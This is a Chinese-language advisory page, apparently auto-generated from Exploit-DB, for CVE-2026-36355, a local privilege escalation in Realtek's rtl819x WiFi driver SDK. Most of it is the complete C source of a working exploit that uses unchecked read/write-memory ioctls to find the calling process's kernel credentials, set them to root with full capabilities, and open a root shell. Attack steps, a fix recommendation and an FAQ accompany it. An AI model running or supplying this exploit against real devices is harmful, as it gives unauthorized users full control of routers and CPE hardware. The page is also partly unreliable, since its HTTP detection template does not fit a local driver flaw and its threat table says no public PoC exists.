[local] Realtek rtl819x - Local Privilege
Realtek rtl819x WiFi驱动本地提权漏洞CVE-2026-36355:ioctl 0x89F5/0x89F6缺少能力检查,非特权用户通过内存读写可root提权。影响RTL8192C/D/E等多款芯片,Jungle SDK v3.4.14B及以下版本。PoC漏洞分析、攻击步骤、修复建议。
Realtek rtl819x WiFi驱动ioctl缺少权限检查,非授权用户可通过内存读写提升至root权限。
High · CVSS 7.8📋 漏洞基础信息
| CVE | CVE-2026-36355 |
|---|---|
| 漏洞类型 | 本地权限提升(ioctl缺少能力检查) |
| 受影响版本 | Realtek rtl819x Jungle SDK 所有已知版本至v3.4.14B;芯片包括RTL8192C/D/E、RTL8188E、RTL8812、RTL8881A、RTL8197F等 |
| 危害等级 | High · CVSS 7.8 |
| 发布日期 | 2026-05-27 |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
Realtek rtl819x out-of-tree WiFi驱动SDK中对ioctl 0x89F5(write_mem)和0x89F6(read_mem)缺少必要的能力检查(capability checks),导致任意非特权用户可直接读写内核内存。
🎯 攻击场景
1. 前置条件:目标设备使用Realtek rtl819x驱动SDK,且无KASLR(ARM环境)。2. 攻击者以任意非特权用户身份运行PoC。3. PoC创建原始socket,扫描/sys/class/net找到受影响的无线接口。4. 通过ioctl 0x89F6读取内核.data段,暴力搜索init_task结构(通过匹配'swapper'字符串和校验cred指针的uid/gid=0)。5. 自动检测task_struct中tasks、pid、cred、comm字段偏移。6. 从init_task沿tasks链表向后遍历,找到当前进程的task_struct。7. 读取当前进程的cred结构地址,然后通过ioctl 0x89F5将cred中的uid/gid/securebits置0,并将capability位图写为全1。8. 成功提权后执行/bin/sh获得root shell。
💥 漏洞影响
攻击者可以以任意非特权用户身份获得内核级代码执行能力,完全控制设备:读写任意内核内存、提升至root权限、修改系统凭证、绕过所有安全机制。
⚔️ 原始 PoC
PoC分以下关键阶段:1. 定义ioctl命令码0x89F5(写内存)和0x89F6(读内存),通过struct iwreq封装命令字符串(格式'dw,addr,ndw'或'dw,addr,ndw,val')。2. find_interface()遍历/sys/class/net,尝试读取固定地址0xC0008000验证驱动是否响应。3. scan_for_init_task()在0xC0800000~0xC1000000范围内每128字节读取内存,搜索字符串'swapper'并校验cred指针(必须是0xC0000000~0xFFFFFFFF,且指向的usage>0、uid=0、gid=0)。4. detect_offsets()批量读取init_task的0x600字节,依次定位comm('swapper')、cred(comm前4-16字节中的合法内核指针)、tasks(非自引用的list_head,且下一个任务具有可打印comm)、pid(值为0且相邻任务pid不同)。5. find_task()从init_task的tasks->prev开始向后遍历,批量读取或单次读取找到目标PID。6. 读取cred+0x04处的uid和gid确认匹配,然后kfill将cred+0x04处9个32位字清零(uid/gid/securebits),再将cred+0x28处8个32位字写0xFFFFFFFF(capability集合)。最终校验getuid()==0后执行shell。
* Exploit Title: Realtek rtl819x - Local Privilege Escalation
* Date: 2026-05-03
* Exploit Author: Daniil Gordeev
* Vendor Homepage: http://www.realtek.com
* Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release)
* Version: Realtek rtl819x Jungle SDK,all known versions through v3.4.14B
* Tested on: Linux 3.18.48,ARMv7 Cortex-A7,
Qualcomm MDM9607,
rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE)
* CVE: CVE-2026-36355
*
* kpwn - RTL8192CD kernel LPE exploit
*
* Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem)
* in the Realtek rtl819x out-of-tree WiFi driver SDK.
*
* Runs as ANY unprivileged user — no root needed at any stage.
* Auto-detects task_struct offsets from init_task.
*
* Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK
* Chips: RTL8192C/D/E,
RTL8188E,RTL8812,RTL8881A,RTL8197F,etc.
*
* Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c
* Usage: /tmp/kpwn (any user,GID 3003/inet on paranoid kernels)
*/
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <errno.h>#include <dirent.h>#include <sys/ioctl.h>#include <sys/socket.h>
#include <linux/wireless.h>#define IOCTL_WRITE 0x89F5 /* SIOCDEVPRIVATE+5: write_mem */
#define IOCTL_READ 0x89F6 /* SIOCDEVPRIVATE+6: read_mem */
/* kernel .data scan range for init_task (ARM,no KASLR) */
#define DATA_SCAN_START 0xC0800000
#define DATA_SCAN_END 0xC1000000
static int sockfd = -1;static int nioctls = 0;static char ifname[IFNAMSIZ];
/* ---- kernel R/W primitives ---- */
static int kread(unsigned long addr,void *out,int ndw)
{struct iwreq wrq;char buf[256];if (ndw >32) ndw = 32;snprintf(buf,sizeof(buf),"dw,%lx,%x",addr,ndw);memset(&wrq,0,sizeof(wrq));strncpy(wrq.ifr_name,ifname,IFNAMSIZ);wrq.u.data.pointer = buf;wrq.u.data.length = strlen(buf) + 1;if (ioctl(sockfd,IOCTL_READ,&wrq) <0)
return -1;
nioctls++;int n = wrq.u.data.length;if (n >0 &&out)
memcpy(out,buf,n >128 ? 128 : n);return n;}static unsigned int kread32(unsigned long addr)
{unsigned int v = 0;kread(addr,&v,1);return v;}static int kfill(unsigned long addr,int ndw,unsigned int val)
{struct iwreq wrq;char buf[256];snprintf(buf,sizeof(buf),"dw,%lx,%x,%x",addr,ndw,val);memset(&wrq,0,sizeof(wrq));
strncpy(wrq.ifr_name,ifname,IFNAMSIZ);wrq.u.data.pointer = buf;wrq.u.data.length = strlen(buf) + 1;if (ioctl(sockfd,IOCTL_WRITE,&wrq) <0)
return -1;nioctls++;return 0;}/* ---- find vulnerable interface ---- */
static int find_interface(void)
{DIR *d = opendir("/sys/class/net");if (!d) return -1;struct dirent *e;unsigned int probe;while ((e = readdir(d))) {
if (e->d_name[0] == '.' ||strcmp(e->d_name,"lo") == 0)
continue;strncpy(ifname,e->d_name,IFNAMSIZ - 1);probe = 0;if (kread(0xC0008000,&probe,1) >0 &&probe != 0) {closedir(d);return 0;}}closedir(d);return -1;}/* ---- resolve init_task ---- */
static unsigned long scan_for_init_task(void)
{
/*
* Brute-force: scan kernel .data for init_task.comm = "swapper".
* Validate by checking cred pointer (must dereference to uid=0,gid=0).
*
* The returned base doesn't need to be exact — detect_offsets finds
* all field positions relative to the base,
and the math in find_task
* and the overwrite phase uses (base + offset) pairs where any constant
* shift cancels out. We just need "swapper" to land within the
* detect_offsets search window (0x200-0x5F0 from returned base).
*/
unsigned char buf[128];unsigned long addr;printf("[*] Scanning .data for init_task...\n");for (addr = DATA_SCAN_START;addr <DATA_SCAN_END;
addr += 128) {if (kread(addr,buf,32) <= 0)
continue;int j;for (j = 0;j <= 128 - 7;j += 4) {if (memcmp(buf + j,"swapper",7) != 0)
continue;unsigned long comm_addr = addr + j;/* validate: cred pointer just before comm → {usage,uid=0,gid=0}*/
unsigned int cred_ptr;if (kread(comm_addr - 4,&cred_ptr,1) <= 0)
continue;
if ((cred_ptr &0xC0000000) != 0xC0000000 ||cred_ptr == 0xFFFFFFFF)
continue;unsigned int chk[3];if (kread(cred_ptr,chk,3) <= 0)
continue;if (chk[0] <1 ||chk[0] >= 10000) /* usage refcount */
continue;if (chk[1] != 0 ||chk[2] != 0) /* uid=0,gid=0 */
continue;
/*
* Return comm_addr - 0x400 as base. This places comm at
* offset 0x400 in the detect_offsets window (well within
* the 0x200-0x5F0 search range). The base doesn't need
* to be the true struct start — all offset math cancels.
*/
unsigned long base = comm_addr - 0x400;printf("[+] scan: comm @ 0x%08lx,base 0x%08lx\n",
comm_addr,base);return base;}}return 0;}static unsigned long resolve_init_task(void)
{return scan_for_init_task();}/* ---- auto-detect task_struct layout ---- */
struct offsets {unsigned long tasks,pid,cred,comm;};static int detect_offsets(unsigned long init,struct offsets *o)
{unsigned char data[0x600];int i;/* bulk-read init_task (12 reads,128 bytes each) */
for (i = 0;i <0x600;
i += 128)
if (kread(init + i,data + i,32) <= 0) {printf("[-] Read init_task+0x%x failed\n",i);return -1;}/* comm: find "swapper" string — unique,most reliable anchor */
o->comm = 0;for (i = 0x200;i <0x5F0;i += 4)
if (memcmp(data + i,"swapper",7) == 0) {o->comm = i;break;}if (!o->comm) {printf("[-] 'swapper' not found in init_task\n");return -1;}
/* cred: kernel pointer just before comm → dereferences to {usage,uid=0,gid=0}*/
o->cred = 0;for (i = o->comm - 4;i >= (int)o->comm - 16;i -= 4) {unsigned int val = *(unsigned int *)(data + i);if ((val &0xC0000000) == 0xC0000000 &&val != 0xFFFFFFFF) {unsigned int chk[3];if (kread(val,chk,3) >0 &&chk[0] >= 1 &&chk[0] <10000 &&
chk[1] == 0 &&chk[2] == 0) {o->cred = i;break;}}}if (!o->cred) {printf("[-] Cred pointer not found near comm\n");return -1;}/* tasks: non-self-referencing list_head with valid chain and printable comm at next */
o->tasks = 0;for (i = 0x100;i <0x300;i += 4) {unsigned int next = *(unsigned int *)(data + i);unsigned int prev = *(unsigned int *)(data + i + 4);if ((next &
0xC0000000) != 0xC0000000 ||next == 0xFFFFFFFF) continue;if ((prev &0xC0000000) != 0xC0000000 ||prev == 0xFFFFFFFF) continue;if (next == (unsigned int)(init + i)) continue;unsigned int nn = kread32(next);if ((nn &0xC0000000) != 0xC0000000) continue;unsigned long next_base = (unsigned long)next - i;char tc[8] = {0};if (kread(next_base + o->comm,tc,2) >0 &&
tc[0] >= 0x20 &&tc[0] <0x7F) {o->tasks = i;break;}}if (!o->tasks) {printf("[-] Tasks list_head not found\n");return -1;}/* pid: 0 in init_task,cross-verified against two other tasks (different PIDs) */
o->pid = 0;unsigned int tasks_next = *(unsigned int *)(data + o->tasks);unsigned long first_base = (unsigned long)tasks_next - o->tasks;
unsigned int second_ptr = kread32(tasks_next);unsigned long second_base = (unsigned long)second_ptr - o->tasks;for (i = o->tasks + 0x20;i <(int)o->comm - 0x20;i += 4) {if (*(unsigned int *)(data + i) != 0) continue;if (*(unsigned int *)(data + i + 4) != 0) continue;/* pid=0 AND tgid=0 */
unsigned int p1 = kread32(first_base + i);if (p1 == 0 ||p1 >= 32768) continue;
unsigned int p2 = kread32(second_base + i);if (p2 == 0 ||p2 >= 32768) continue;if (p1 == p2) continue;o->pid = i;break;}if (!o->pid) {printf("[-] PID offset not found\n");return -1;}return 0;}/* ---- walk task list backward (newest first,1 ioctl per task) ---- */
static unsigned long find_task(unsigned long init,struct offsets *o,pid_t pid,int *walked)
{
unsigned long head = init + o->tasks;unsigned int buf[32];unsigned long cur;int batch = 0;int span = 0;*walked = 0;/* if pid and tasks fit in one 32-dword read,batch them */
if (o->pid >o->tasks) {span = (o->pid - o->tasks) / 4 + 1;if (span <= 32) batch = 1;}/* walk backward: tasks.prev (offset +4) points to newest task */
cur = kread32(head + 4);for (int i = 0;i <
512;i++) {if (cur == head ||cur == 0)
break;unsigned long base = cur - o->tasks;unsigned int p;unsigned long prev;if (batch) {/* single read gets tasks.next,tasks.prev,and pid */
if (kread(cur,buf,span) <= 0) break;prev = buf[1];/* tasks.prev = next older task */
p = buf[(o->pid - o->tasks) / 4];}else {
/* fallback: two individual reads */
p = kread32(base + o->pid);prev = kread32(cur + 4);}(*walked)++;if (p == (unsigned int)pid)
return base;cur = prev;}return 0;}/* ---- main ---- */
int main(void)
{uid_t orig_uid = getuid();gid_t orig_gid = getgid();pid_t pid = getpid();printf("kpwn \xe2\x80\x94 RTL8192CD kernel LPE\n");printf("uid=%u gid=%u pid=%d\n\n",orig_uid,
orig_gid,pid);/* socket */
printf("[*] Creating socket...\n");sockfd = socket(AF_INET,SOCK_DGRAM,0);if (sockfd <0) {printf("[-] socket: %s\n",strerror(errno));if (errno == EACCES)
printf("[-] Need GID 3003 (inet) on paranoid kernels\n");return 1;}/* find vulnerable interface */
printf("[*] Scanning interfaces...\n");if (find_interface() <0) {
printf("[-] No rtl819x interface found\n");return 1;}printf("[+] %s — read primitive confirmed\n",ifname);/* resolve init_task */
printf("[*] Resolving init_task...\n");unsigned long init = resolve_init_task();if (!init) {printf("[-] init_task not found\n");return 1;}printf("[+] init_task @ 0x%08lx\n",init);/* auto-detect offsets */
printf("[*] Detecting task_struct layout...\n");
struct offsets o;if (detect_offsets(init,&o) <0)
return 1;printf("[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\n",o.comm,o.cred,o.tasks,o.pid);/* find our task_struct */
printf("[*] Searching for pid %d...\n",pid);int walked = 0;unsigned long task = find_task(init,&o,pid,&walked);if (!task) {printf("[-] pid %d not found (%d tasks walked)\n",pid,walked);
return 1;}/* read and verify cred (batched: cred+comm in one read,uid+gid in one read) */
unsigned int info[5];char *comm;unsigned long cred;unsigned int k_uid,k_gid;kread(task + o.cred,info,5);/* cred ptr + 16 bytes of comm */
cred = info[0];comm = (char *)&info[1];unsigned int uids[2];kread(cred + 0x04,uids,2);/* uid + gid */
k_uid = uids[0];k_gid = uids[1];
printf("[+] task=0x%08lx comm=\"%s\" (%d walked)\n",task,comm,walked);printf("[+] cred=0x%08lx uid=%u gid=%u\n",cred,k_uid,k_gid);if (k_uid != orig_uid) {printf("[-] uid mismatch: kernel=%u userspace=%u\n",k_uid,orig_uid);return 1;}/* overwrite cred ->root (2 ioctls: zero uids + fill all caps) */
printf("[*] Overwriting credentials...\n");kfill(cred + 0x04,9,0);
/* uid..fsgid + securebits = 0 */
kfill(cred + 0x28,8,0xFFFFFFFF);/* cap_{inheritable,permitted,effective,bset}= full */
if (getuid() != 0) {printf("[-] FAILED \xe2\x80\x94 uid still %d after overwrite\n",getuid());return 1;}printf("[+] uid=%d euid=%d gid=%d egid=%d\n\n",getuid(),geteuid(),getgid(),getegid());printf("*** GOT ROOT *** uid=%u ->%d (%d ioctls)\n\n",orig_uid,getuid(),
nioctls);execl("/bin/sh","sh",NULL);printf("[-] execl: %s\n",strerror(errno));return 1;}🔬 深度技术分析
PoC分以下关键阶段:1. 定义ioctl命令码0x89F5(写内存)和0x89F6(读内存),通过struct iwreq封装命令字符串(格式'dw,addr,ndw'或'dw,addr,ndw,val')。2. find_interface()遍历/sys/class/net,尝试读取固定地址0xC0008000验证驱动是否响应。3. scan_for_init_task()在0xC0800000~0xC1000000范围内每128字节读取内存,搜索字符串'swapper'并校验cred指针(必须是0xC0000000~0xFFFFFFFF,且指向的usage>0、uid=0、gid=0)。4. detect_offsets()批量读取init_task的0x600字节,依次定位comm('swapper')、cred(comm前4-16字节中的合法内核指针)、tasks(非自引用的list_head,且下一个任务具有可打印comm)、pid(值为0且相邻任务pid不同)。5. find_task()从init_task的tasks->prev开始向后遍历,批量读取或单次读取找到目标PID。6. 读取cred+0x04处的uid和gid确认匹配,然后kfill将cred+0x04处9个32位字清零(uid/gid/securebits),再将cred+0x28处8个32位字写0xFFFFFFFF(capability集合)。最终校验getuid()==0后执行shell。
🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-36355-detection
info:
name: Realtek rtl819x Local Privilege Escalation Detection
author: daniil-gordeev
severity: high
description: Detects potential presence of vulnerable Realtek rtl819x out-of-tree WiFi driver by checking kernel capabilities for ioctl 0x89F5/0x89F6
reference:
- https://www.exploit-db.com/exploits/52000
- CVE-2026-36355
tags: cve,cve2026,realtek,lpe,kernel
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}Connection: close
- |POST /cgi-bin/luci/;stok=/locale HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: close
token=test&_=test
matchers-condition: and
matchers:
- type: word
words:
- "Realtek"
- "rtl819"
condition: or
- type: word
words:
- "stok"
- "luci"
condition: or
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- '(rtl819[2-9][cde]?|rtl8188e|rtl8812|rtl8881a|rtl8197f)'🛡️ 修复建议
厂商应发布补丁为ioctl 0x89F5/0x89F6添加CAP_SYS_RAWIO或类似能力检查。临时缓解:移除受影响的WiFi模块,或通过SELinux/AppArmor限制对设备节点(如/dev/wlanX)的访问,或将用户从GID 3003(inet)组中移除
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-29 08:08 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 该漏洞需要哪些用户组或能力?
在偏执内核上需要GID 3003(inet组),其他内核无需任何特权和用户组,任意非特权用户即可利用。
❓ 攻击者如何绕过KASLR?
原文指出测试环境为ARM且无KASLR,因此直接硬编码了扫描范围0xC0800000-0xC1000000。若开启KASLR,该方法失效,但PoC未提及绕过。
❓ 此漏洞是否影响所有Realtek WiFi芯片?
仅影响使用Realtek rtl819x out-of-tree驱动SDK的设备,包括RTL8192C/D/E、RTL8188E、RTL8812、RTL8881A、RTL8197F等,不包含使用上游内核驱动(in-tree)的设备。